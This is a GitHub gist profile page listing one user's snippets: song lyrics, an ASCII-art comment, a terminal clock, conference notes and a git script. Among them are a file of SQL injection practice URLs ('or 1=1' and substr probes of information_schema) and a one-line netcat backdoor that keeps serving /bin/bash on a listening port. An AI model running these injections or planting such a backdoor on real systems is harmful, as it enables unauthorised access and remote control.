Skip to content

Instantly share code, notes, and snippets.

View fkztw's full-sized avatar
📺
Hello World!

Frank Zheng fkztw

📺
Hello World!
  • Taiwan
  • 23:15 (UTC +08:00)
View GitHub Profile
@fkztw
fkztw / SITCON_SONG.md
Last active August 29, 2015 14:16
SITCON X 小蘋果 之歌

SITCON 之歌

詞:莫風

曲:小蘋果

Denny 種下顆種子
終於遍地長果實
今天是個偉大日子
跳下工人送給你
拽下肝臟送給你

@fkztw
fkztw / index.js
Last active May 17, 2017 04:09 — forked from edokeh/index.js
佛祖保佑 永無 BUG (May Budda bless you no bug forever)
//
// _oo0oo_
// o8888888o
// 88" . "88
// (| -_- |)
// 0\ = /0
// ___/`---'\___
// .' \\| |// '.
// / \\||| : |||// \
// / _||||| -:- |||||- \
<meta name="gby" content="
|~~~~~~~|
| |
| |
| |
| |
| |
|~.\\\_\~~~~~~~~~~~~~~xx~~~ ~~~~~~~~~~~~~~~~~~~~~/_//;~|
| \ o \_ ,XXXXX), _..-~ o / |
| ~~\ ~-. XXXXX`)))), _.--~~ .-~~~ |
@fkztw
fkztw / clock.sh
Created December 5, 2014 18:40
Little clock in terminal
while [ 1 ]; do clear; date +"%H:%M:%S" | figlet -m 1; sleep 0.5s; done
@fkztw
fkztw / boolean_sqli
Last active August 29, 2015 14:10
12/2 practice SQLi
http://tor.atdog.tw:8080/boolean/login.php?u=admin&p=admin
http://tor.atdog.tw:8080/boolean/login.php?u=admin&p=admin' or 1=1 %23
http://tor.atdog.tw:8080/boolean/login.php?u=admin&p=admin' and ascii(substr(user(), 1, 1)) < 128 %23
http://tor.atdog.tw:8080/boolean/login.php?u=admin&p=admin' and (SELECT table_schema,table_name FROM information_schema.tables limit 1) %23
http://tor.atdog.tw:8080/boolean/login.php?u=admin&p=admin' and ascii(substr((SELECT table_schema,table_name FROM information_schema.tables limit 1,1), 1, 1)) < 128 %23
@fkztw
fkztw / PyCon_APAC_2014.md
Last active August 29, 2015 14:01
My personal schedule & notes for PyCON APAC 2014

Notes

Day1

PyCon APAC 2014 Co-Notes

09:20 [Keynote] Wes McKinney

10:40 [R3] Real-time visualization with Python and d3.js - Muyueh Lee

@fkztw
fkztw / nc_backdoor.sh
Created May 12, 2014 05:50
a simple netcat backdoor on UNIX-like system
nohup bash -c 'while true; do nc -l -e /bin/bash -p $port; done' &
''.join([bin(ord(x))[2:].zfill(8) for x in 'Hello, World'])
@fkztw
fkztw / OSDC2014-Day1.pdf
Last active August 29, 2015 13:58
OSDC.TW 2014
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
@fkztw
fkztw / git_commit_line_count.sh
Last active December 30, 2015 06:39
from: http://lueewy.com/?p=37 fixed version, still ugly. [usage] sh ./git_commmit_line_count.sh [$author_name]
#!/bin/sh
insert=0
delete=0
git log --author=$1 --shortstat --pretty=format:""|sed /^$/d > .tmp.count
while read line
do
current=`echo $line|awk -F ',' '{printf $2}'|awk '{printf $1}'`